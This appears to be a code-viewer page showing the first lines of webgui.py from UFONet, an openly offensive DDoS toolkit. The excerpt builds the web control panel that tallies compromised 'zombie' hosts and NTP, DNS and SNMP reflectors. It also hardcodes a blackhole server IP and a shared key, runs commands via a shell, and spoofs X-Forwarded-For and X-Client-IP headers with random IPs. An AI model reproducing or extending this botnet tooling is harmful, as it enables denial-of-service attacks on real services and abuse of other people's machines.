webgui.py 485 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097409840994100410141024103410441054106410741084109411041114112411341144115411641174118411941204121412241234124412541264127412841294130413141324133413441354136413741384139414041414142414341444145414641474148414941504151415241534154415541564157415841594160416141624163416441654166416741684169417041714172417341744175417641774178417941804181418241834184418541864187418841894190419141924193419441954196419741984199420042014202420342044205420642074208420942104211421242134214421542164217421842194220422142224223422442254226422742284229423042314232423342344235423642374238423942404241424242434244424542464247424842494250425142524253425442554256425742584259426042614262426342644265426642674268426942704271427242734274427542764277427842794280428142824283428442854286428742884289429042914292429342944295429642974298429943004301430243034304430543064307430843094310431143124313431443154316431743184319432043214322432343244325432643274328432943304331433243334334433543364337433843394340434143424343434443454346434743484349435043514352435343544355435643574358435943604361436243634364436543664367436843694370437143724373437443754376437743784379438043814382438343844385438643874388438943904391439243934394439543964397439843994400440144024403440444054406440744084409441044114412441344144415441644174418441944204421442244234424442544264427442844294430443144324433443444354436443744384439444044414442444344444445444644474448444944504451445244534454445544564457445844594460446144624463446444654466446744684469447044714472447344744475447644774478447944804481448244834484448544864487448844894490449144924493449444954496449744984499450045014502450345044505450645074508450945104511451245134514451545164517451845194520452145224523452445254526452745284529453045314532453345344535453645374538453945404541454245434544454545464547454845494550455145524553455445554556455745584559456045614562456345644565456645674568456945704571457245734574457545764577457845794580458145824583458445854586458745884589459045914592459345944595459645974598459946004601460246034604460546064607460846094610461146124613461446154616461746184619462046214622462346244625462646274628462946304631463246334634463546364637463846394640464146424643464446454646464746484649465046514652465346544655465646574658465946604661466246634664466546664667466846694670467146724673467446754676467746784679468046814682468346844685468646874688468946904691469246934694469546964697469846994700470147024703470447054706470747084709471047114712471347144715471647174718471947204721472247234724472547264727472847294730473147324733473447354736473747384739474047414742474347444745474647474748474947504751475247534754475547564757475847594760476147624763476447654766476747684769477047714772477347744775477647774778477947804781478247834784478547864787478847894790479147924793479447954796479747984799480048014802480348044805480648074808480948104811481248134814481548164817481848194820482148224823482448254826482748284829483048314832483348344835483648374838483948404841484248434844484548464847484848494850485148524853485448554856485748584859486048614862486348644865486648674868486948704871487248734874487548764877487848794880488148824883488448854886488748884889489048914892489348944895489648974898489949004901490249034904490549064907490849094910491149124913491449154916491749184919492049214922492349244925492649274928492949304931493249334934493549364937493849394940494149424943494449454946494749484949495049514952495349544955495649574958495949604961496249634964496549664967496849694970497149724973497449754976497749784979498049814982498349844985498649874988498949904991499249934994499549964997499849995000500150025003500450055006500750085009501050115012501350145015501650175018501950205021502250235024502550265027502850295030503150325033503450355036503750385039504050415042504350445045504650475048504950505051505250535054505550565057505850595060506150625063506450655066506750685069507050715072507350745075507650775078507950805081508250835084508550865087508850895090509150925093509450955096509750985099510051015102510351045105510651075108510951105111511251135114511551165117511851195120512151225123512451255126512751285129513051315132513351345135513651375138513951405141514251435144514551465147514851495150515151525153515451555156515751585159516051615162516351645165516651675168516951705171517251735174517551765177517851795180518151825183518451855186518751885189519051915192519351945195519651975198519952005201520252035204520552065207520852095210521152125213521452155216521752185219522052215222522352245225522652275228522952305231523252335234523552365237523852395240524152425243524452455246524752485249525052515252525352545255525652575258525952605261526252635264526552665267526852695270527152725273527452755276527752785279528052815282528352845285528652875288528952905291529252935294529552965297529852995300530153025303530453055306530753085309531053115312531353145315531653175318531953205321532253235324532553265327532853295330533153325333533453355336533753385339534053415342534353445345534653475348534953505351535253535354535553565357535853595360536153625363536453655366536753685369537053715372537353745375537653775378537953805381538253835384538553865387538853895390539153925393539453955396539753985399540054015402540354045405540654075408540954105411541254135414541554165417541854195420542154225423542454255426542754285429543054315432543354345435543654375438543954405441544254435444544554465447544854495450545154525453545454555456545754585459546054615462546354645465546654675468546954705471547254735474547554765477547854795480548154825483548454855486548754885489549054915492549354945495549654975498549955005501550255035504550555065507550855095510551155125513551455155516551755185519552055215522552355245525552655275528552955305531553255335534553555365537553855395540554155425543554455455546554755485549555055515552555355545555555655575558555955605561556255635564556555665567556855695570557155725573557455755576557755785579558055815582558355845585558655875588558955905591559255935594559555965597559855995600560156025603560456055606560756085609561056115612561356145615561656175618561956205621562256235624562556265627562856295630563156325633563456355636563756385639564056415642564356445645564656475648564956505651565256535654565556565657565856595660566156625663566456655666566756685669567056715672567356745675567656775678567956805681568256835684568556865687568856895690569156925693569456955696569756985699570057015702570357045705570657075708570957105711571257135714571557165717571857195720572157225723572457255726572757285729573057315732573357345735573657375738573957405741574257435744574557465747574857495750575157525753575457555756575757585759576057615762576357645765576657675768576957705771577257735774577557765777577857795780578157825783578457855786578757885789579057915792579357945795579657975798579958005801580258035804580558065807580858095810581158125813581458155816581758185819582058215822582358245825582658275828582958305831583258335834583558365837583858395840584158425843584458455846584758485849585058515852585358545855585658575858585958605861586258635864586558665867586858695870587158725873587458755876587758785879588058815882588358845885588658875888588958905891589258935894589558965897589858995900590159025903590459055906590759085909591059115912591359145915591659175918591959205921592259235924592559265927592859295930593159325933593459355936593759385939594059415942594359445945594659475948594959505951595259535954595559565957595859595960596159625963596459655966596759685969597059715972597359745975597659775978597959805981598259835984598559865987598859895990599159925993599459955996599759985999600060016002600360046005600660076008600960106011601260136014601560166017601860196020602160226023602460256026602760286029603060316032603360346035603660376038603960406041604260436044604560466047604860496050605160526053605460556056605760586059606060616062606360646065606660676068606960706071607260736074607560766077607860796080608160826083608460856086608760886089609060916092609360946095609660976098609961006101610261036104610561066107610861096110611161126113611461156116611761186119612061216122612361246125612661276128612961306131613261336134613561366137613861396140614161426143614461456146614761486149615061516152615361546155615661576158615961606161616261636164616561666167616861696170617161726173617461756176617761786179618061816182618361846185618661876188618961906191619261936194619561966197619861996200620162026203620462056206620762086209621062116212621362146215621662176218621962206221622262236224622562266227622862296230623162326233623462356236623762386239624062416242624362446245624662476248624962506251625262536254625562566257625862596260626162626263626462656266626762686269627062716272627362746275627662776278627962806281628262836284628562866287628862896290629162926293629462956296629762986299630063016302630363046305630663076308630963106311631263136314631563166317631863196320632163226323632463256326632763286329633063316332633363346335633663376338633963406341634263436344634563466347634863496350635163526353635463556356635763586359636063616362636363646365636663676368636963706371637263736374637563766377637863796380638163826383638463856386638763886389639063916392639363946395639663976398639964006401640264036404640564066407640864096410641164126413641464156416641764186419642064216422642364246425642664276428642964306431643264336434643564366437643864396440644164426443644464456446644764486449645064516452645364546455645664576458645964606461646264636464646564666467646864696470647164726473647464756476647764786479648064816482648364846485648664876488648964906491649264936494649564966497649864996500650165026503650465056506650765086509651065116512651365146515651665176518651965206521652265236524652565266527652865296530653165326533653465356536653765386539654065416542654365446545654665476548654965506551655265536554655565566557655865596560656165626563656465656566656765686569657065716572657365746575657665776578657965806581658265836584658565866587658865896590659165926593659465956596659765986599660066016602660366046605660666076608660966106611661266136614661566166617661866196620662166226623662466256626662766286629663066316632663366346635663666376638663966406641664266436644664566466647664866496650665166526653665466556656665766586659666066616662666366646665666666676668666966706671667266736674667566766677667866796680668166826683668466856686668766886689669066916692669366946695669666976698669967006701670267036704670567066707670867096710671167126713671467156716671767186719672067216722672367246725672667276728672967306731673267336734673567366737673867396740674167426743674467456746674767486749675067516752675367546755675667576758675967606761676267636764676567666767676867696770677167726773677467756776677767786779678067816782678367846785678667876788678967906791679267936794679567966797679867996800680168026803680468056806680768086809681068116812681368146815681668176818681968206821682268236824682568266827682868296830683168326833683468356836683768386839684068416842684368446845684668476848684968506851685268536854685568566857685868596860686168626863686468656866686768686869687068716872687368746875687668776878687968806881688268836884688568866887688868896890689168926893689468956896689768986899690069016902690369046905690669076908690969106911691269136914691569166917691869196920692169226923692469256926692769286929693069316932693369346935693669376938693969406941694269436944694569466947694869496950695169526953695469556956695769586959696069616962696369646965696669676968696969706971697269736974697569766977697869796980698169826983698469856986698769886989699069916992699369946995699669976998699970007001700270037004700570067007700870097010701170127013701470157016701770187019702070217022702370247025702670277028702970307031703270337034703570367037703870397040704170427043704470457046704770487049705070517052705370547055705670577058705970607061706270637064706570667067706870697070707170727073707470757076707770787079708070817082708370847085708670877088708970907091709270937094709570967097709870997100710171027103710471057106710771087109711071117112711371147115711671177118711971207121712271237124712571267127712871297130713171327133713471357136713771387139714071417142714371447145714671477148714971507151715271537154715571567157715871597160716171627163716471657166716771687169717071717172717371747175717671777178717971807181718271837184718571867187718871897190719171927193719471957196719771987199720072017202720372047205720672077208720972107211721272137214721572167217721872197220722172227223722472257226722772287229723072317232723372347235723672377238723972407241724272437244724572467247724872497250725172527253725472557256725772587259726072617262726372647265726672677268726972707271727272737274727572767277727872797280728172827283728472857286728772887289729072917292729372947295729672977298729973007301730273037304730573067307730873097310731173127313731473157316731773187319732073217322732373247325732673277328732973307331733273337334733573367337733873397340734173427343734473457346734773487349735073517352735373547355735673577358735973607361736273637364736573667367736873697370737173727373737473757376737773787379738073817382738373847385738673877388738973907391739273937394739573967397739873997400740174027403740474057406740774087409741074117412741374147415741674177418741974207421742274237424742574267427742874297430743174327433743474357436743774387439744074417442744374447445744674477448744974507451745274537454745574567457745874597460746174627463746474657466746774687469747074717472747374747475747674777478747974807481748274837484748574867487748874897490749174927493749474957496749774987499750075017502750375047505750675077508750975107511751275137514751575167517751875197520752175227523752475257526752775287529753075317532753375347535753675377538753975407541754275437544754575467547754875497550755175527553755475557556755775587559756075617562756375647565756675677568756975707571757275737574757575767577757875797580758175827583758475857586758775887589759075917592759375947595759675977598759976007601760276037604760576067607760876097610761176127613761476157616761776187619762076217622762376247625762676277628762976307631763276337634763576367637763876397640764176427643764476457646764776487649765076517652765376547655765676577658765976607661766276637664766576667667766876697670767176727673767476757676767776787679768076817682768376847685768676877688768976907691769276937694769576967697769876997700770177027703770477057706770777087709771077117712771377147715771677177718771977207721772277237724772577267727772877297730773177327733773477357736773777387739774077417742774377447745774677477748774977507751775277537754775577567757775877597760776177627763776477657766776777687769777077717772777377747775777677777778777977807781778277837784778577867787778877897790779177927793779477957796779777987799780078017802780378047805780678077808780978107811
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2021 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. #######WORKAROUND PYTHON(3) VERSIONS####################
  11. import platform
  12. python_version = "python"+platform.python_version_tuple()[0]+"."+platform.python_version_tuple()[1]
  13. #######################################################
  14. import socket, threading, re, os, time, random, base64
  15. import webbrowser, subprocess, json, sys, requests
  16. import urllib.request, urllib.error, urllib.parse
  17. from urllib.parse import urlparse as urlparse
  18. from core.tools.crypter import Cipher
  19. from time import gmtime, strftime, strptime
  20. from Crypto.Cipher import AES
  21. from hashlib import sha1, sha256
  22. from decimal import Decimal
  23. from random import shuffle
  24. from .options import UFONetOptions
  25. from .main import UFONet
  26. from core.tools.abductor import Abductor
  27. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  28. default_blackhole = '176.28.23.46' # default blackhole #
  29. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  30. ###################################################################
  31. browser_init_page = "https://searchencrypt.com" # initial webpage for ship.browser [OK! 16/06/2021]
  32. check_ip_service1 = 'https://checkip.org/' # set external check ip service 1 [OK! 06/06/2020]
  33. check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 06/06/2020]
  34. check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! [06/06/2020]
  35. blackhole_sep = "|" # blackhole stream separator
  36. board_msg_sep = "#!#" # board stream separator
  37. grid_msg_sep = "#?#" # grid stream seperator
  38. wargames_msg_sep = "#-#" # wargames stream seperator
  39. links_msg_sep = "#L#" # links stream separator
  40. streams_msg_sep = "#S#" # streams stream separator
  41. games_msg_sep = "#G#" # games stream separator
  42. globalnet_msg_sep = "#$#" # globalnet stream separator
  43. badkeys = [";", "/"] # some bad keys
  44. host = "0.0.0.0"
  45. port = 9999
  46. class ClientThread(threading.Thread):
  47. def __init__(self, ip, port, socket):
  48. threading.Thread.__init__(self)
  49. self.ip = ip
  50. self.port = port
  51. self.socket = socket
  52. self.pages = Pages()
  53. def run(self):
  54. req = self.socket.recv(2048)
  55. res = self.pages.get(req)
  56. if res is None:
  57. self.socket.close()
  58. return
  59. out = "HTTP/1.0 %s\r\n" % res["code"]
  60. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  61. out += "%s" % res["html"]
  62. try:
  63. self.socket.send(out.encode('utf-8'))
  64. except:
  65. self.socket.send(out)
  66. self.socket.close()
  67. if "run" in res and len(res["run"]):
  68. subprocess.Popen(res["run"], shell=True)
  69. class Pages():
  70. def file_len(self, fn):
  71. with open(fn) as f:
  72. for i, l in enumerate(f):
  73. pass
  74. return i + 1
  75. def html_army_map(self,target=None):
  76. try:
  77. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file))+int(self.file_len(self.ntps_file))+int(self.file_len(self.dnss_file))+int(self.file_len(self.snmps_file)) )+"\ninitMap()\n\n"
  78. except:
  79. target_js="not any zombie available\n\n"
  80. if target is not None:
  81. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  82. return self.pages["/header"] + """
  83. <link rel="stylesheet" href="/js/style.css" />
  84. <link rel="stylesheet" href="/js/ajaxmap.css" />
  85. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  86. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  87. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  88. <script src="/js/leaflet/leaflet.js"></script>
  89. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  90. <script src="/js/jquery-1.10.2.min.js"></script>
  91. <script src="/js/rlayer-src.js"></script>
  92. <script src="/js/raphael.js"></script>
  93. <script src="/js/ufo.js"></script>
  94. <script src="/js/ajax.js"></script>
  95. </head><body bgcolor="black" text="black">
  96. <div id="wrapper">
  97. <div id="map" style="width: 100%; height: 100%"></div>
  98. </div>
  99. <script type="text/javascript">
  100. window.onload = function(){
  101. """+target_js+"""
  102. }
  103. </script>
  104. <center>
  105. """ + self.pages["/footer"]
  106. def html_request_submit(self):
  107. return self.pages["/header"]+"""<script>
  108. window.setTimeout(window.close,1234)
  109. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  110. <center>settings updated"""+self.pages["/footer"]
  111. def html_requests(self):
  112. # read requests configuration file (json)
  113. try:
  114. with open(self.mothership_webcfg_file) as data_file:
  115. data = json.load(data_file)
  116. except:
  117. if os.path.exists(self.mothership_webcfg_file) == True:
  118. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  119. return
  120. else: # generate default requests configuration file
  121. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  122. with open(self.mothership_webcfg_file, "w") as f:
  123. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  124. # set values of requests configuration from json file to html form
  125. with open(self.mothership_webcfg_file) as data_file:
  126. data = json.load(data_file)
  127. self.agents = [] # generating available user-agents
  128. f = open(self.agents_file)
  129. agents = f.readlines()
  130. f.close()
  131. for agent in agents:
  132. self.agents.append(agent)
  133. self.user_agent = random.choice(self.agents).strip()
  134. self.rproxy = data["rproxy"]
  135. if self.rproxy == "NONE":
  136. self.rproxy = ""
  137. self.ruseragent = data["ruseragent"]
  138. if self.ruseragent == "RANDOM":
  139. self.ruseragent = self.user_agent # random user-agent
  140. self.rreferer = data["rreferer"]
  141. if self.rreferer == "RANDOM":
  142. self.rreferer = self.referer # random referer
  143. self.rhost = data["rhost"]
  144. if self.rhost == "NONE":
  145. self.rhost = ""
  146. self.rxforw = data["rxforw"]
  147. if self.rxforw == "on":
  148. self.rxforw_check = 'checked'
  149. else:
  150. self.rxforw_check = ''
  151. self.rxclient = data["rxclient"]
  152. if self.rxclient == "on":
  153. self.rxclient_check = 'checked'
  154. else:
  155. self.rxclient_check = ''
  156. self.rtimeout = data["rtimeout"]
  157. self.rretries = data["rretries"]
  158. self.rdelay = data["rdelay"]
  159. self.threads = data["threads"]
  160. self.rssl = data["rssl"]
  161. if self.rssl == "on":
  162. self.rssl_check = 'checked'
  163. else:
  164. self.rssl_check = ''
  165. return self.pages["/header"] + """
  166. <script language="javascript">
  167. function Requests() {
  168. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  169. }
  170. </script>
  171. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  172. <u>Configure requests:</u>
  173. <table cellpadding="2" cellspacing="2">
  174. <form method='GET'>
  175. <tr>
  176. <td> Use proxy server:</td>
  177. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  178. </tr>
  179. <tr>
  180. <td> Use another HTTP User-Agent header:</td>
  181. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  182. </tr>
  183. <tr>
  184. <td> Use another HTTP Referer header:</td>
  185. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  186. </tr>
  187. <tr>
  188. <td> Use another HTTP Host header:</td>
  189. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  190. </tr>
  191. <tr>
  192. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  193. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  194. </tr>
  195. <tr>
  196. <td> Set your HTTP X-Client-IP with random IP values:</td>
  197. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  198. </tr>
  199. <tr>
  200. <td> Select your timeout:</td>
  201. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  202. </tr>
  203. <tr>
  204. <td> Retries when the connection timeouts:</td>
  205. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  206. </tr>
  207. <tr>
  208. <td> Delay in seconds between each HTTP request:</td>
  209. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  210. </tr>
  211. <tr>
  212. <td> Number of threads:</td>
  213. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  214. </tr>
  215. <tr>
  216. <td> Force usage of SSL/HTTPS requests:</td>
  217. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  218. </tr>
  219. </table>
  220. <hr>
  221. <input type="hidden" name="update" value="1">
  222. <input type="submit" value="Set!" onclick="Requests()"></pre>
  223. </form>
  224. """ + self.pages["/footer"]
  225. def html_board_profile_submit(self):
  226. return self.pages["/header"]+"""<script>
  227. window.setTimeout(window.close,1234)
  228. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  229. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  230. def html_grid_profile_submit(self):
  231. return self.pages["/header"]+"""<script>
  232. window.setTimeout(window.close,1234)
  233. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  234. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  235. def profile_crew(self, icon):
  236. files = os.listdir("core/images/crew/")
  237. if icon == "NONE":
  238. icon = "link1"
  239. html_stream = ""
  240. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
